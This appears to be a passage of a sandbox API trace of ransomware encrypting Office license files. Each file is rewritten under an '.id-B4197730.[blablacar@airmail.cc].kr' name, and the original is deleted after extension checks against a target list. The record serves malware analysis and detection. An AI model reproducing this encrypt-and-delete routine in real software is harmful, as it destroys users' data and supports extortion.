dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.780] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=25386) returned 1 [0201.780] CloseHandle (hObject=0x560) returned 1 [0201.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 0x220 [0201.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.781] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.781] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.819] GetLastError () returned 0x0 [0201.819] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x632a, lpOverlapped=0x0) returned 1 [0201.837] WriteFile (in: hFile=0x550, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x6330, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x6330, lpOverlapped=0x0) returned 1 [0201.838] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.838] WriteFile (in: hFile=0x550, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11e, lpOverlapped=0x0) returned 1 [0201.839] SetEndOfFile (hFile=0x550) returned 1 [0201.839] CloseHandle (hObject=0x550) returned 1 [0201.839] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.839] SetEndOfFile (hFile=0x560) returned 1 [0201.842] CloseHandle (hObject=0x560) returned 1 [0201.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 1 [0201.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0201.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0201.844] lstrlenW (lpString=".doc") returned 4 [0201.844] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.844] lstrlenW (lpString=".docx") returned 5 [0201.844] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.844] lstrlenW (lpString=".pdf") returned 4 [0201.844] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.844] lstrlenW (lpString=".xls") returned 4 [0201.844] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.844] lstrlenW (lpString=".xlsx") returned 5 [0201.844] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.844] lstrlenW (lpString=".ppt") returned 4 [0201.844] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0201.844] lstrlenW (lpString=".zip") returned 4 [0201.844] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.844] lstrlenW (lpString=".rar") returned 4 [0201.844] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.844] lstrlenW (lpString=".bz2") returned 4 [0201.844] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.844] lstrlenW (lpString=".7z") returned 3 [0201.844] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0201.845] lstrlenW (lpString=".dbf") returned 4 [0201.845] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0201.845] lstrlenW (lpString=".1cd") returned 4 [0201.845] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0201.845] lstrlenW (lpString=".jpg") returned 4 [0201.845] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0201.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0201.845] lstrlenW (lpString=".doc") returned 4 [0201.845] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.845] lstrlenW (lpString=".docx") returned 5 [0201.845] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.845] lstrlenW (lpString=".pdf") returned 4 [0201.845] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.845] lstrlenW (lpString=".xls") returned 4 [0201.845] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.845] lstrlenW (lpString=".xlsx") returned 5 [0201.845] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.845] lstrlenW (lpString=".ppt") returned 4 [0201.845] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0201.845] lstrlenW (lpString=".zip") returned 4 [0201.846] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.846] lstrlenW (lpString=".rar") returned 4 [0201.846] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.846] lstrlenW (lpString=".bz2") returned 4 [0201.846] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.846] lstrlenW (lpString=".7z") returned 3 [0201.846] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0201.846] lstrlenW (lpString=".dbf") returned 4 [0201.846] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0201.846] lstrlenW (lpString=".1cd") returned 4 [0201.846] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0201.846] lstrlenW (lpString=".jpg") returned 4 [0201.846] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.847] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.847] lstrlenW (lpString="O365BusinessR_SubTest-ppd.xrm-ms") returned 32 [0201.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.847] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=22465) returned 1 [0201.847] CloseHandle (hObject=0x560) returned 1 [0201.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 0x220 [0201.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.848] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.848] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.849] GetLastError () returned 0x0 [0201.849] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x57c1, lpOverlapped=0x0) returned 1 [0201.853] WriteFile (in: hFile=0x550, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x57d0, lpOverlapped=0x0) returned 1 [0201.855] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.855] WriteFile (in: hFile=0x550, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x114, lpOverlapped=0x0) returned 1 [0201.855] SetEndOfFile (hFile=0x550) returned 1 [0201.855] CloseHandle (hObject=0x550) returned 1 [0201.855] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.855] SetEndOfFile (hFile=0x560) returned 1 [0201.859] CloseHandle (hObject=0x560) returned 1 [0201.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 1 [0201.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0201.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0201.860] lstrlenW (lpString=".doc") returned 4 [0201.860] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.860] lstrlenW (lpString=".docx") returned 5 [0201.860] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.860] lstrlenW (lpString=".pdf") returned 4 [0201.860] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.860] lstrlenW (lpString=".xls") returned 4 [0201.860] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.861] lstrlenW (lpString=".xlsx") returned 5 [0201.861] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.861] lstrlenW (lpString=".ppt") returned 4 [0201.861] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0201.861] lstrlenW (lpString=".zip") returned 4 [0201.861] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.861] lstrlenW (lpString=".rar") returned 4 [0201.861] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.861] lstrlenW (lpString=".bz2") returned 4 [0201.861] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.861] lstrlenW (lpString=".7z") returned 3 [0201.861] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0201.861] lstrlenW (lpString=".dbf") returned 4 [0201.861] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0201.861] lstrlenW (lpString=".1cd") returned 4 [0201.861] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0201.861] lstrlenW (lpString=".jpg") returned 4 [0201.861] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0201.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0201.861] lstrlenW (lpString=".doc") returned 4 [0201.861] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.861] lstrlenW (lpString=".docx") returned 5 [0201.861] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.861] lstrlenW (lpString=".pdf") returned 4 [0201.861] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.861] lstrlenW (lpString=".xls") returned 4 [0201.861] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.862] lstrlenW (lpString=".xlsx") returned 5 [0201.862] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.862] lstrlenW (lpString=".ppt") returned 4 [0201.862] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0201.862] lstrlenW (lpString=".zip") returned 4 [0201.862] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.862] lstrlenW (lpString=".rar") returned 4 [0201.862] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.862] lstrlenW (lpString=".bz2") returned 4 [0201.862] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.862] lstrlenW (lpString=".7z") returned 3 [0201.862] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0201.862] lstrlenW (lpString=".dbf") returned 4 [0201.862] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0201.862] lstrlenW (lpString=".1cd") returned 4 [0201.862] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0201.862] lstrlenW (lpString=".jpg") returned 4 [0201.862] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.863] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.863] lstrlenW (lpString="O365BusinessR_SubTest-ul-oob.xrm-ms") returned 35 [0201.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.863] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11626) returned 1 [0201.863] CloseHandle (hObject=0x560) returned 1 [0201.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 0x220 [0201.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.864] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.864] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.865] GetLastError () returned 0x0 [0201.865] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d6a, lpOverlapped=0x0) returned 1 [0202.012] WriteFile (in: hFile=0x550, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0202.013] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.013] WriteFile (in: hFile=0x550, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11a, lpOverlapped=0x0) returned 1 [0202.013] SetEndOfFile (hFile=0x550) returned 1 [0202.013] CloseHandle (hObject=0x550) returned 1 [0202.013] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.013] SetEndOfFile (hFile=0x560) returned 1 [0202.017] CloseHandle (hObject=0x560) returned 1 [0202.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 1 [0202.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0202.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0202.440] lstrlenW (lpString=".doc") returned 4 [0202.440] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.440] lstrlenW (lpString=".docx") returned 5 [0202.440] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.440] lstrlenW (lpString=".pdf") returned 4 [0202.440] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.440] lstrlenW (lpString=".xls") returned 4 [0202.440] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.441] lstrlenW (lpString=".xlsx") returned 5 [0202.441] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.441] lstrlenW (lpString=".ppt") returned 4 [0202.441] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0202.441] lstrlenW (lpString=".zip") returned 4 [0202.441] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.441] lstrlenW (lpString=".rar") returned 4 [0202.441] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.441] lstrlenW (lpString=".bz2") returned 4 [0202.441] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.441] lstrlenW (lpString=".7z") returned 3 [0202.441] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0202.441] lstrlenW (lpString=".dbf") returned 4 [0202.441] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0202.441] lstrlenW (lpString=".1cd") returned 4 [0202.441] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0202.441] lstrlenW (lpString=".jpg") returned 4 [0202.441] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0202.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0202.441] lstrlenW (lpString=".doc") returned 4 [0202.441] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.441] lstrlenW (lpString=".docx") returned 5 [0202.441] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.441] lstrlenW (lpString=".pdf") returned 4 [0202.441] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.441] lstrlenW (lpString=".xls") returned 4 [0202.441] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.441] lstrlenW (lpString=".xlsx") returned 5 [0202.441] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.442] lstrlenW (lpString=".ppt") returned 4 [0202.442] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0202.442] lstrlenW (lpString=".zip") returned 4 [0202.442] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.442] lstrlenW (lpString=".rar") returned 4 [0202.442] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.442] lstrlenW (lpString=".bz2") returned 4 [0202.442] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.442] lstrlenW (lpString=".7z") returned 3 [0202.442] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0202.442] lstrlenW (lpString=".dbf") returned 4 [0202.442] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0202.442] lstrlenW (lpString=".1cd") returned 4 [0202.442] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0202.442] lstrlenW (lpString=".jpg") returned 4 [0202.442] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.442] 